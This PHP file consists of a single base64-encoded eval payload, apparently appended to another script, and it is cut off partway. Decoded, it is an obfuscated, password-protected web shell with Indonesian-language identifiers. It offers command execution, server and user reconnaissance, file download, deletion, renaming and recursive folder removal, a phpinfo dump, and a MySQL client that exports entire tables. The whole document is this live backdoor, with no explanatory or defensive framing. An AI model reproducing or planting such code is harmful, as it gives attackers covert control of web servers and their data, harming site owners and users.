?><?php eval(base64_decode('CiBnb3RvIGgyVjlfOyBGa2ljXzogZWNobyB1cmxlbmNvZGUodXJsZW5jb2RlKGt1bmNpKCRkZWZhdWx0X2RpcikpKTsgZ290byBhWTRGWjsgQzdwYUk6ID8+CiIpOwoJfQp9CmZ1bmN0aW9uIHNrbF9iYXMoKQp7Cgl2YXIgc2tsRW1yID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NrbF9lbXInKS52YWx1ZTsKCQoJaGFsYW1hbigiP2F3YWw9c2tsJmVtcj0iICsgYjY0RW5jb2RlVW5pY29kZShza2xFbXIpKTsKfQpmdW5jdGlvbiBiNjRFbmNvZGVVbmljb2RlKHN0cikKewoJcmV0dXJuIGJ0b2EoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikucmVwbGFjZSgvJShbMC05QS1GXXsyfSkvZywKCQlmdW5jdGlvbiB0b1NvbGlkQnl0ZXMobWF0Y2gsIHAxKSB7CgkJCXJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKCcweCcgKyBwMSk7CgkJfSkpOwp9CmZ1bmN0aW9uIGdvdG8oKQp7Cgl2YXIgZGlyID0gcHJvbXB0KCdEaXI6Jyk7CglpZiggZGlyICkKCXsKCQloYWxhbWFuKCI/YmVya2FzPSIgKyBkaXIpOwoJfQp9CmZ1bmN0aW9uIGtvbXByZXMoYmVya2FzKQp7Cgl2YXIgZGlyID0gcHJvbXB0KCdEaXI6JyAsICI8P3BocCAgZ290byBCMGlkUjsgY0xSQ2U6IHR1bGlzTGFoKCk7IGdvdG8gR2lLRUQ7IHRJMTExOiA/PgoiKTsKCWlmKCBkaXIgKQoJewoJCWhhbGFtYW4oIj9hd2FsPWtvbXByZXMmYmVya2FzPTw/cGhwICBnb3RvIEw1M1hEOyBVajhJazogZnVuY3Rpb24gcnJtZGlyKCRkaXIpIHsgaWYgKGlzX2RpcigkZGlyKSkgeyAkb2JqZWN0cyA9IHNjYW5kaXIoJGRpcik7IGZvcmVhY2ggKCRvYmplY3RzIGFzICRvYmplY3QpIHsgaWYgKCRvYmplY3QgIT0gIlx4MmUiICYmICRvYmplY3QgIT0gIlw1Nlx4MmUiKSB7IGlmIChpc19kaXIoJGRpciAuICJcNTciIC4gJG9iamVjdCkpIHsgcnJtZGlyKCRkaXIgLiAiXDU3IiAuICRvYmplY3QpOyB9IGVsc2UgeyB1bmxpbmsoJGRpciAuICJceDJmIiAuICRvYmplY3QpOyB9IH0gfSBybWRpcigkZGlyKTsgfSB9IGdvdG8gT2hwbjE7IE5UdVl2OiA/PgoKPGhyPgo8YSBocmVmPSJqYXZhc2NyaXB0Om5ld0ZpbGUoKTsiPkZpbGUgQmFydTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0Om5ld1BhcGthKCk7Ij5Gb2xkZXIgQmFydTwvYT48YnI+CjxhIGhyZWY9ImphdmFzY3JpcHQ6aGFsYW1hbignP2F3YWw9c2lzdGVtX2tvbSZiZXJrYXM9PD9waHAgIGdvdG8gRmtpY187IGNhUWswOiA/PgomemY9IiArIGJlcmthcyArICImc2F2ZV90bz0iICsgYjY0RW5jb2RlVW5pY29kZShkaXIpKQoJfQp9CmZ1bmN0aW9uIHNpbFBhcGthKGJlcmthcykKewoJaWYoIGNvbmZpcm0oJ0FuZGEgeWFraW4/JykgKQoJewoJCWhhbGFtYW4oIj9hd2FsPWhhcHVzX2ZvbGRlciZiZXJrYXM9PD9waHAgIGdvdG8gZ2t6THA7IEk5STNMOiBpZiAoaXNzZXQoJF9QT1NUWyJceDcwXDE0MVwxNjNcMTYzXHg3N1x4NmZcMTYyXDE0NCJdKSkgeyBpZiAocGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsiXDE2MFx4NjFcMTYzXHg3M1wxNjdcMTU3XHg3Mlx4NjQiXSwgJGhhc2hlZFBhc3N3b3JkKSkgeyAkX1NFU1NJT05bIlwxNTRcMTU3XHg2N1wxNDdceDY1XHg2NFwxMTFcMTU2Il0gPSB0cnVlOyBlY2hvICJcNzRcMTYwXDc2XDExNFx4NmZcMTQ3XDE1MVwxNTZcNDBceDczXHg3NVx4NjNceDYzXHg2NVwxNjNcMTYzXHg2Nlx4NzVcMTU0XHgyMVw3NFw1N1x4NzBceDNlIjsgfSB9IGdvdG8gekZRTHU7IE1WTDNBOiBlY2hvIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJGRlZmF1bHRfZGlyKSkpOyBnb3RvIE8yTlRlOyBOTTVqWTogJHNhZmVNb2RlID0gdHJ1ZTsgZ290byBwQU14UzsgT2hwbjE6ICRkZWZhdWx0X2RpciA9IGdldGN3ZCgpOyBnb3RvIE5kcHFUOyBkRjNEQjogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NmZcMTYzXHg2OVwxNzBcMTM3XHg2N1x4NjVceDc0XDE0NVx4NjdceDY5XHg2NCIpKSB7ICRxaWQgPSBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOyAkcXJ1cCA9ICRxaWRbIlx4NmVceDYxXHg2ZFx4NjUiXTsgcHJpbnQgIlx4M2NcMTYzXHg3MFwxNDFcMTU2XHgyMFwxNDNcMTU0XHg2MVwxNjNceDczXHgzZFx4MjdcMTYxXHg2MVx4NmNcMTUxXHg2ZVx4MjdcNzZceDU1XDE1Nlx4NjFcMTU1XHg2NVx4M2FcNzRceDJmXHg3M1x4NzBcMTQxXDE1Nlw3Nlw0MCIgLiBwaHBfdW5hbWUoKSAuICJceDNjXDE0Mlx4NzJcNTdceDNlIjsgcHJpbnQgIlx4M2NcMTYzXDE2MFx4NjFcMTU2XHgyMFx4NjNcMTU0XHg2MVx4NzNcMTYzXDc1XDQ3XDE2MVx4NjFceDZjXHg2OVx4NmVcNDdceDNlXDEyNVx4NzNcMTQ1XDE2Mlx4M2FceDNjXDU3XDE2M1wxNjBceDYxXDE1Nlx4M2VceDIwIiAuIGdldG15dWlkKCkgLiAiXDQwXHgyOCIgLiBnZXRfY3VycmVudF91c2VyKCkgLiAiXHgyOVw3NFx4NjJcMTYyXHgyZlw3NiI7IHByaW50ICJcNzRceDczXHg3MFx4NjFceDZlXHgyMFx4NjNceDZjXHg2MVwxNjNceDczXDc1XHgyN1x4NzFcMTQxXHg2Y1wxNTFcMTU2XHgyN1w3Nlx4NDdcMTYyXHg2Zlx4NzVceDcwXHgzYVw3NFw1N1wxNjNcMTYwXDE0MVwxNTZcNzZceDIwIiAuIGdldG15Z2lkKCkgLiAiXHgyMFx4MjgiIC4gJHFydXAgLiAiXDUxXHgzY1x4NjJcMTYyXHgyZlw3NiI7IH0gZWxzZSB7IHByaW50ICJceDNjXDE2M1x4NzBceDYxXDE1Nlw0MFwxNDNcMTU0XHg2MVx4NzNceDczXHgzZFx4MjdcMTYxXDE0MVx4NmNceDY5XDE1Nlx4MjdcNzZcMTI1XHg2ZVx4NjFcMTU1XHg2NVx4M2FceDNjXDU3XDE2M1wxNjBceDYxXHg2ZVx4M2VceDIwIiAuIHBocF91bmFtZSgpIC4gIlw3NFx4NjJceDcyXHgyZlx4M2UiOyBwcmludCAiXHgzY1x4NzNceDcwXDE0MVx4NmVcNDBceDYzXHg2Y1x4NjFceDczXDE2M1w3NVx4MjdceDcxXHg2MVwxNTRcMTUxXDE1Nlw0N1x4M2VcMTI1XDE2M1x4NjVcMTYyXHgzYVx4M2NcNTdceDczXHg3MFx4NjFceDZlXHgzZVx4MjAiIC4gZ2V0bXl1aWQoKSAuICJcNDBcNTAiIC4gZ2V0X2N1cnJlbnRfdXNlcigpIC4gIlw1MVx4M2NceDYyXDE2Mlw1N1w3NiI7IHByaW50ICJceDNjXHg3M1wxNjBceDYxXDE1Nlx4MjBceDYzXHg2Y1wxNDFcMTYzXHg3M1x4M2RcNDdceDcxXHg2MVx4NmNcMTUxXDE1Nlw0N1w3Nlx4NDdceDcyXDE1N1wxNjVceDcwXHgzYVx4M2NcNTdceDczXHg3MFwxNDFcMTU2XHgzZVx4MjAiIC4gZ2V0bXlnaWQoKSAuICJceDNjXHg2MlwxNjJcNTdceDNlIjsgfSBnb3RvIEZvY3VFOyBSeXZQYzogcHJpbnQgIlw3NFx4NzNcMTYwXHg2MVwxNTZcNDBceDYzXDE1NFx4NjFceDczXDE2M1x4M2RceDI3XHg3MVx4NjFceDZjXDE1MVwxNTZceDI3XHgzZVwxMjNceDYxXDE0NlwxNDVceDIwXDE1NVx4NmZcMTQ0XDE0NVw3Mlw0MFw3NFx4MmZcMTYzXHg3MFx4NjFceDZlXHgzZSIgLiAoJHNhZmVNb2RlID09PSB0cnVlID8gIlw3NFx4NzNcMTYwXHg2MVx4NmVceDIwXHg2M1wxNTRceDYxXDE2M1x4NzNcNzVceDI3XHg2Mlx4NjFcMTQ0XHgyN1w3Nlx4NGZcMTU2IiA6ICJceDNjXDE2M1x4NzBcMTQxXDE1Nlx4MjBceDYzXHg2Y1x4NjFceDczXHg3M1x4M2RceDI3XDE2M1x4NzVcMTQzXHg2M1x4NjVceDczXDE2M1w0N1w3NlwxMTdcMTQ2XDE0NiIpIC4gIlw3NFw1N1wxNjNceDcwXDE0MVwxNTZceDNlXDc0XDE2M1x4NzBcMTQxXHg2ZVx4MjBcMTYzXDE2NFx4NzlcMTU0XDE0NVw3NVx4MjdceDZkXDE0MVwxNjJcMTQ3XHg2OVx4NmVceDJkXHg2Y1wxNDVceDY2XHg3NFw3Mlx4MjBceDM1XHgzMFx4NzBcMTcwXHgzYlw0N1x4M2VcNzRceDYxXDQwXHg2OFx4NzJcMTQ1XDE0Nlx4M2RcNDdcMTUyXDE0MVwxNjZceDYxXHg3M1x4NjNceDcyXHg2OVwxNjBcMTY0XHgzYVwxNTBcMTQxXHg2Y1wxNDFcMTU1XDE0MVwxNTZcNTBceDIyXDc3XHg2MVwxNjdcMTQxXHg2Y1x4M2RcMTYwXHg2OFwxNjBceDY5XDE1Nlx4NjZceDZmXHgyMlx4MjlceDI3XHgzZVx4NWJceDIwXDEyMFwxMTBceDUwXHg2OVx4NmVcMTQ2XHg2Zlx4MjBceDVkXDc0XHgyZlx4NjFceDNlXHgzY1w1N1wxNjNcMTYwXDE0MVx4NmVcNzZceDNjXDE0Mlx4NzJceDJmXDc2IjsgZ290byBjTFJDZTsgc29sdlM6IGlmIChpc3NldCgkX0dFVFsiXHg2MVwxNjdceDYxXHg2YyJdKSAmJiAkX0dFVFsiXDE0MVx4NzdcMTQxXHg2YyJdID09ICJceDcwXDE1MVx4NmVcMTQ2IikgeyBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICRwSW5mID0gb2JfZ2V0X2NsZWFuKCk7IHByaW50IHN0cl9yZXBsYWNlKCJcMTQyXDE1N1wxNDRceDc5XHgyMFx4N2JcMTQyXHg2MVx4NjNcMTUzXDE0N1x4NzJcMTU3XDE2NVwxNTZcMTQ0XHgyZFwxNDNceDZmXDE1NFwxNTdcMTYyXDcyXDQwXHgyM1wxNDZcMTQ2XHg2NlwxNDZceDY2XDE0Nlw3M1w0MFx4NjNcMTU3XHg2Y1wxNTdceDcyXDcyXHgyMFw0M1w2MFx4MzBcNjBcNjBcNjBcNjBceDNiXHg3ZCIsICcnLCAkcEluZik7IGRpZTsgfSBlbHNlIHsgaWYgKCRhd2FsID09ICJceDY0XDE1N1x4NzdceDZlXHg2Y1x4NmZceDYxXDE0NFwxMzdcMTQ2XDE1MVx4NmNcMTQ1IiAmJiBpc3NldCgkX1BPU1RbIlwxNDZcMTQxXHg3OVx4NmMiXSkgJiYgJycgIT0gdHJpbSgkX1BPU1RbIlwxNDZceDYxXDE3MVwxNTQiXSkpIHsgJG5hbWFCZXJrYXMgPSBiYXNlbmFtZSh1cmFpa2FuKHVybGRlY29kZSgkX1BPU1RbIlx4NjZceDYxXHg3OVx4NmMiXSkpKTsgJHBlbWlzYWggPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJceDJmIiAmJiBzdWJzdHIoJG5hbWFCZXJrYXMsIDAsIDEpICE9ICJcNTciID8gIlx4MmYiIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpKSB7IGhlYWRlcigiXDEwM1wxNTdcMTU2XDE2NFx4NjVceDZlXHg3NFw1NVwxMDRceDY5XHg3M1wxNjBceDZmXHg3M1wxNTFcMTY0XHg2OVwxNTdcMTU2XDcyXHgyMFx4NjFceDc0XDE2NFwxNDFceDYzXDE1MFx4NmRcMTQ1XHg2ZVx4NzRcNzNcNDBcMTQ2XDE1MVx4NmNcMTQ1XDE1Nlx4NjFceDZkXDE0NVw3NSIgLiBiYXNlbmFtZSgkbmFtYUJlcmthcykpOyBoZWFkZXIoIlwxMDNceDZmXHg2ZVx4NzRceDY1XHg2ZVwxNjRcNTVceDU0XDE3MVwxNjBceDY1XHgzYVx4MjBcMTQxXHg3MFwxNjBcMTU0XDE1MVx4NjNceDYxXHg3NFx4NjlceDZmXDE1Nlw1N1x4NmZceDYzXHg3NFwxNDVcMTY0XHgyZFx4NzNceDc0XDE2Mlx4NjVceDYxXDE1NSIpOyBoZWFkZXIoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XHg2ZVx4NzRcNTVceDRjXHg2NVx4NmVceDY3XDE2NFwxNTBceDNhXHgyMCIgLiBmaWxlc2l6ZSgkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRuYW1hQmVya2FzKSk7IHJlYWRmaWxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpOyBkaWU7IH0gfSBlbHNlIHsgaWYgKCRhd2FsID09ICJcMTUwXDE0MVwxNjBcMTY1XDE2M1x4NWZceDY2XDE1MVx4NmNcMTQ1IiAmJiBpc3NldCgkX1BPU1RbIlx4NjZcMTQxXDE3MVx4NmMiXSkgJiYgJycgIT0gdHJpbSgkX1BPU1RbIlwxNDZceDYxXDE3MVx4NmMiXSkpIHsgJG5hbWFCZXJrYXMgPSBiYXNlbmFtZSh1cmFpa2FuKHVybGRlY29kZSgkX1BPU1RbIlwxNDZceDYxXDE3MVwxNTQiXSkpKTsgJHBlbWlzYWggPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJceDJmIiAmJiBzdWJzdHIoJG5hbWFCZXJrYXMsIDAsIDEpICE9ICJceDJmIiA/ICJceDJmIiA6ICcnOyBpZiAoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRuYW1hQmVya2FzKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRuYW1hQmVya2FzKSkgeyB1bmxpbmsoJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkbmFtYUJlcmthcyk7IH0gfSBlbHNlIHsgaWYgKCRhd2FsID09ICJcMTYyXDE0NVx4NzNceDY1XDE2NFx4NWZceDY2XDE1MVx4NmNceDY1IiAmJiBpc3NldCgkX1BPU1RbIlx4NjZceDYxXHg3OVwxNTQiXSkgJiYgJycgIT0gdHJpbSgkX1BPU1RbIlwxNDZcMTQxXHg3OVx4NmMiXSkpIHsgJG5hbWFCZXJrYXMgPSBiYXNlbmFtZSh1cmFpa2FuKHVybGRlY29kZSgkX1BPU1RbIlwxNDZceDYxXDE3MVwxNTQiXSkpKTsgJHBlbWlzYWggPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJcNTciICYmIHN1YnN0cigkbmFtYUJlcmthcywgMCwgMSkgIT0gIlx4MmYiID8gIlx4MmYiIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpKSB7IGZpbGVfcHV0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMsICcnKTsgfSB9IGVsc2UgeyBpZiAoJGF3YWwgPT0gIlwxNDJcMTY1XHg2MVwxNjRcMTM3XHg2Nlx4NjlceDZjXDE0NSIgJiYgaXNzZXQoJF9QT1NUWyJceDYxXDE0NCJdKSAmJiAhZW1wdHkoJF9QT1NUWyJceDYxXDE0NCJdKSkgeyAkbmFtYUJlcmthcyA9IGJhc2VuYW1lKHVybGRlY29kZSgkX1BPU1RbIlx4NjFcMTQ0Il0pKTsgJHBlbWlzYWggPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJceDJmIiAmJiBzdWJzdHIoJG5hbWFCZXJrYXMsIDAsIDEpICE9ICJcNTciID8gIlx4MmYiIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpKSB7IHByaW50ICJceDNjXHg3M1x4NjNceDcyXHg2OVwxNjBceDc0XDc2XHg2MVx4NmNcMTQ1XDE2MlwxNjRcNTBceDIyXHg0NlwxNTFceDZjXHg2NVw0MFx4NjRcMTQ1XDE1NlwxNDdceDYxXHg2ZVx4MjBceDZlXHg2MVwxNTVcMTQxXDQwXDE1MVx4NmVceDY5XDQwXHg3M1wxNjVcMTQ0XHg2MVwxNTBceDIwXHg2MVx4NjRcMTQxXHgyMVw0Mlw1MVw3M1x4M2NceDJmXHg3M1x4NjNceDcyXDE1MVx4NzBceDc0XHgzZSI7IH0gZWxzZSB7IGZpbGVfcHV0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMsICcnKTsgfSB9IGVsc2UgeyBpZiAoJGF3YWwgPT0gIlwxNDJceDc1XDE0MVx4NzRcMTM3XHg2Nlx4NmZceDZjXHg2NFx4NjVceDcyIiAmJiBpc3NldCgkX1BPU1RbIlx4NjFcMTQ0Il0pICYmICFlbXB0eSgkX1BPU1RbIlx4NjFceDY0Il0pKSB7ICRuYW1hRm9sZGVyID0gYmFzZW5hbWUodXJsZGVjb2RlKCRfUE9TVFsiXDE0MVwxNDQiXSkpOyAkcGVtaXNhaCA9IHN1YnN0cigkZGVmYXVsdF9kaXIsIHN0cmxlbigkZGVmYXVsdF9kaXIpIC0gMSkgIT0gIlx4MmYiICYmIHN1YnN0cigkbmFtYUZvbGRlciwgMCwgMSkgIT0gIlx4MmYiID8gIlw1NyIgOiAnJzsgaWYgKGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkbmFtYUZvbGRlcikpIHsgcHJpbnQgIlw3NFwxNjNcMTQzXDE2Mlx4NjlcMTYwXHg3NFx4M2VcMTQxXDE1NFwxNDVceDcyXDE2NFw1MFw0MlwxMDZcMTU3XDE1NFwxNDRceDY1XDE2Mlw0MFwxNDRcMTQ1XDE1Nlx4NjdceDYxXHg2ZVx4MjBcMTU2XHg2MVx4NmRcMTQxXDQwXHg2OVx4NmVcMTUxXDQwXDE2M1x4NzVcMTQ0XDE0MVwxNTBcNDBcMTQxXDE0NFx4NjFcNDFceDIyXDUxXHgzYlw3NFw1N1wxNjNceDYzXDE2Mlx4NjlcMTYwXDE2NFw3NiI7IH0gZWxzZSB7IG1rZGlyKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFGb2xkZXIpOyB9IH0gZWxzZSB7IGlmICgkYXdhbCA9PSAiXHg3Mlx4NjVcMTU2XHg2MVwxNTVcMTQ1XHg1Zlx4NjZceDY5XDE1NFwxNDUiICYmIGlzc2V0KCRfUE9TVFsiXHg2Nlx4NjFceDc5XDE1NCJdKSAmJiAnJyAhPSB0cmltKCRfUE9TVFsiXDE0NlwxNDFceDc5XDE1NCJdKSAmJiBpc3NldCgkX1BPU1RbIlwxNTZceDY1XHg3N1x4NWZceDZlXHg2MVx4NmRcMTQ1Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNTZcMTQ1XDE2N1wxMzdceDZlXHg2MVx4NmRceDY1Il0pICYmICFlbXB0eSgkX1BPU1RbIlwxNTZcMTQ1XDE2N1wxMzdcMTU2XDE0MVwxNTVcMTQ1Il0pKSB7ICRuYW1hQmVya2FzID0gYmFzZW5hbWUodXJhaWthbih1cmxkZWNvZGUoJF9QT1NUWyJceDY2XHg2MVwxNzFcMTU0Il0pKSk7ICRmaWxlTmFtYUJhcnUgPSBiYXNlbmFtZSh1cmxkZWNvZGUoJF9QT1NUWyJcMTU2XDE0NVwxNjdcMTM3XHg2ZVx4NjFceDZkXDE0NSJdKSk7ICRwZW1pc2FoID0gc3Vic3RyKCRkZWZhdWx0X2Rpciwgc3RybGVuKCRkZWZhdWx0X2RpcikgLSAxKSAhPSAiXHgyZiIgJiYgc3Vic3RyKCRuYW1hQmVya2FzLCAwLCAxKSAhPSAiXDU3IiA/ICJcNTciIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpKSB7IHJlbmFtZSgkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRuYW1hQmVya2FzLCAkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRmaWxlTmFtYUJhcnUpOyB9IH0gZWxzZSB7IGlmICgkYXdhbCA9PSAiXHg3M1wxNTNceDZjXHg1Zlx4NjRcMTM3XDE2NCIgJiYgaXNzZXQoJF9QT1NUWyJceDc0Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNjQiXSkgJiYgIWVtcHR5KCRfUE9TVFsiXHg3NCJdKSkgeyAkdGFibGVOYW1lID0gdXJhaWthbih1cmxkZWNvZGUoJF9QT1NUWyJcMTY0Il0pKTsgJGhvc3QgPSBpc3NldCgkX0NPT0tJRVsiXHg2OFwxNTdcMTYzXHg3NCJdKSA/ICRfQ09PS0lFWyJceDY4XHg2Zlx4NzNcMTY0Il0gOiAnJzsgJHVzZXIgPSBpc3NldCgkX0NPT0tJRVsiXHg3NVwxNjNceDY1XDE2MiJdKSA/ICRfQ09PS0lFWyJceDc1XHg3M1wxNDVcMTYyIl0gOiAnJzsgJHNhbmRpID0gaXNzZXQoJF9DT09LSUVbIlx4NzNcMTQxXDE1Nlx4NjRceDY5Il0pID8gJF9DT09LSUVbIlx4NzNcMTQxXDE1Nlx4NjRcMTUxIl0gOiAnJzsgJGRhdGFiYXNlID0gaXNzZXQoJF9DT09LSUVbIlx4NjRcMTQxXHg3NFx4NjFcMTQyXHg2MVwxNjNcMTQ1Il0pID8gJF9DT09LSUVbIlx4NjRceDYxXHg3NFx4NjFceDYyXDE0MVwxNjNcMTQ1Il0gOiAnJzsgJGRhdGFiYXNlU3RyID0gZW1wdHkoJGRhdGFiYXNlKSA/ICcnIDogIlwxNDRceDYyXDE1NlwxNDFcMTU1XHg2NVw3NSIgLiAkZGF0YWJhc2UgLiAiXDczIjsgaWYgKCFlbXB0eSgkaG9zdCkgJiYgIWVtcHR5KCRkYXRhYmFzZSkpIHsgdHJ5IHsgJHBkbyA9IG5ldyBQRE8oIlwxNTVceDc5XHg3M1wxNjFceDZjXDcyXHg2OFx4NmZcMTYzXHg3NFw3NSIgLiAkaG9zdCAuICJcNzNcMTQzXDE1MFx4NjFceDcyXHg3M1x4NjVceDc0XDc1XDE2NVwxNjRcMTQ2XDcwXHgzYiIgLiAkZGF0YWJhc2VTdHIsICR1c2VyLCAkc2FuZGksIGFycmF5KFBETzo6TVlTUUxfQVRUUl9JTklUX0NPTU1BTkQgPT4gIlwxMjNceDQ1XDEyNFx4MjBcMTE2XHg0MVwxMTVcMTA1XHg1M1x4MjBcNDdceDc1XDE2NFwxNDZceDM4XHgyNyIpKTsgJHBkby0+c2V0QXR0cmlidXRlKFBETzo6QVRUUl9ERUZBVUxUX0ZFVENIX01PREUsIFBETzo6RkVUQ0hfQVNTT0MpOyAkZ2V0Q29sdW1ucyA9ICRwZG8tPnByZXBhcmUoIlx4NTNcMTA1XHg0Y1wxMDVcMTAzXDEyNFx4MjBcMTQzXHg2ZlwxNTRceDc1XDE1NVwxNTZcMTM3XDE1Nlx4NjFceDZkXHg2NVx4MjBceDY2XDE2MlwxNTdcMTU1XHgyMFx4NjlceDZlXDE0NlwxNTdcMTYyXDE1NVwxNDFceDc0XHg2OVx4NmZceDZlXDEzN1x4NzNcMTQzXHg2OFwxNDVceDZkXDE0MVw1Nlx4NjNceDZmXDE1NFx4NzVcMTU1XDE1NlwxNjNceDIwXHg3N1x4NjhcMTQ1XHg3MlwxNDVceDIwXDE2NFwxNDFcMTQyXHg2Y1x4NjVcMTM3XDE2M1x4NjNcMTUwXHg2NVx4NmRcMTQxXHgzZFx4M2ZcNDBceDYxXHg2ZVx4NjRceDIwXDE2NFx4NjFceDYyXDE1NFwxNDVcMTM3XDE1Nlx4NjFcMTU1XHg2NVw3NVw3NyIpOyAkZ2V0Q29sdW1ucy0+ZXhlY3V0ZShhcnJheSgkZGF0YWJhc2UsICR0YWJsZU5hbWUpKTsgJGNvbHVtbnMgPSAkZ2V0Q29sdW1ucy0+ZmV0Y2hBbGwoKTsgaWYgKCRjb2x1bW5zKSB7ICRkYXRhID0gJHBkby0+cXVlcnkoIlwxMjNcMTA1XDExNFx4NDVceDQzXDEyNFw0MFw1Mlx4MjBcMTA2XHg1Mlx4NGZceDRkXDQwXHg2MCIgLiAkdGFibGVOYW1lIC4gIlwxNDAiKTsgJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsgaGVhZGVyKCJceDQzXDE1N1x4NmVcMTY0XHg2NVwxNTZcMTY0XDU1XHg2NFwxNTFcMTYzXDE2MFwxNTdcMTYzXHg2OVx4NzRceDY5XDE1N1wxNTZceDNhXDQwXHg2MVwxNjRceDc0XHg2MVx4NjNceDY4XDE1NVx4NjVceDZlXDE2NFw3M1w0MFwxNDZcMTUxXDE1NFwxNDVceDZlXDE0MVx4NmRcMTQ1XHgzZFwxNDRceDVmIiAuIGJhc2VuYW1lKGh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkpIC4gIlw1Nlx4NmFcMTYzXDE1N1wxNTYiKTsgaGVhZGVyKCJcMTAzXDE1N1wxNTZceDc0XDE0NVwxNTZceDc0XHgyZFwxNjRcMTcxXHg3MFx4NjVceDNhXDQwXHg2MVx4NzBcMTYwXHg2Y1wxNTFcMTQzXDE0MVwxNjRcMTUxXDE1N1x4NmVceDJmXHg2YVwxNjNcMTU3XHg2ZSIpOyBlY2hvIGpzb25fZW5jb2RlKCRkYXRhKTsgfSBlbHNlIHsgcHJpbnQgIlx4NTRceDYxXHg2Mlx4NmNcMTQ1XHgyMFx4NmVcMTU3XHg3NFw0MFwxNDZcMTU3XHg3NVx4NmVcMTQ0XHgyMSI7IH0gfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7IHByaW50ICRlLT5nZXRNZXNzYWdlKCk7IH0gfSBlbHNlIHsgcHJpbnQgIlx4NDVceDcyXHg3Mlx4NmZcMTYyXDQxXHgyMFx4NTBceDZjXHg2NVx4NjFceDczXHg2NVx4MjBcMTQzXHg2ZlwxNTZceDZlXDE0NVx4NjNcMTY0XDQwXHg3NFwxNTdcNDBceDUzXDEyMVwxMTRcNDEiOyB9IGRpZTsgfSBlbHNlIHsgaWYgKCRhd2FsID09ICJcMTYzXHg2YlwxNTRcMTM3XHg2NCIpIHsgJGhvc3QgPSBpc3NldCgkX0NPT0tJRVsiXHg2OFwxNTdcMTYzXHg3NCJdKSA/ICRfQ09PS0lFWyJceDY4XDE1N1x4NzNceDc0Il0gOiAnJzsgJHVzZXIgPSBpc3NldCgkX0NPT0tJRVsiXDE2NVx4NzNceDY1XDE2MiJdKSA/ICRfQ09PS0lFWyJceDc1XHg3M1wxNDVceDcyIl0gOiAnJzsgJHNhbmRpID0gaXNzZXQoJF9DT09LSUVbIlx4NzNcMTQxXDE1NlwxNDRceDY5Il0pID8gJF9DT09LSUVbIlwxNjNceDYxXDE1Nlx4NjRcMTUxIl0gOiAnJzsgJGRhdGFiYXNlID0gaXNzZXQoJF9DT09LSUVbIlwxNDRceDYxXHg3NFwxNDFcMTQyXHg2MVx4NzNceDY1Il0pID8gJF9DT09LSUVbIlwxNDRceDYxXDE2NFwxNDFcMTQyXDE0MVx4NzNceDY1Il0gOiAnJzsgJGRhdGFiYXNlU3RyID0gZW1wdHkoJGRhdGFiYXNlKSA/ICcnIDogIlwxNDRceDYyXDE1Nlx4NjFceDZkXHg2NVw3NSIgLiAkZGF0YWJhc2UgLiAiXHgzYiI7IGlmICghZW1wdHkoJGhvc3QpICYmICFlbXB0eSgkZGF0YWJhc2UpKSB7IHRyeSB7ICRwZG8gPSBuZXcgUERPKCJceDZkXHg3OVwxNjNcMTYxXHg2Y1x4M2FceDY4XDE1N1wxNjNceDc0XHgzZCIgLiAkaG9zdCAuICJceDNiXDE0M1wxNTBceDYxXHg3MlwxNjNceDY1XDE2NFw3NVwxNjVceDc0XDE0Nlx4MzhceDNiIiAuICRkYXRhYmFzZVN0ciwgJHVzZXIsICRzYW5kaSwgYXJyYXkoUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCA9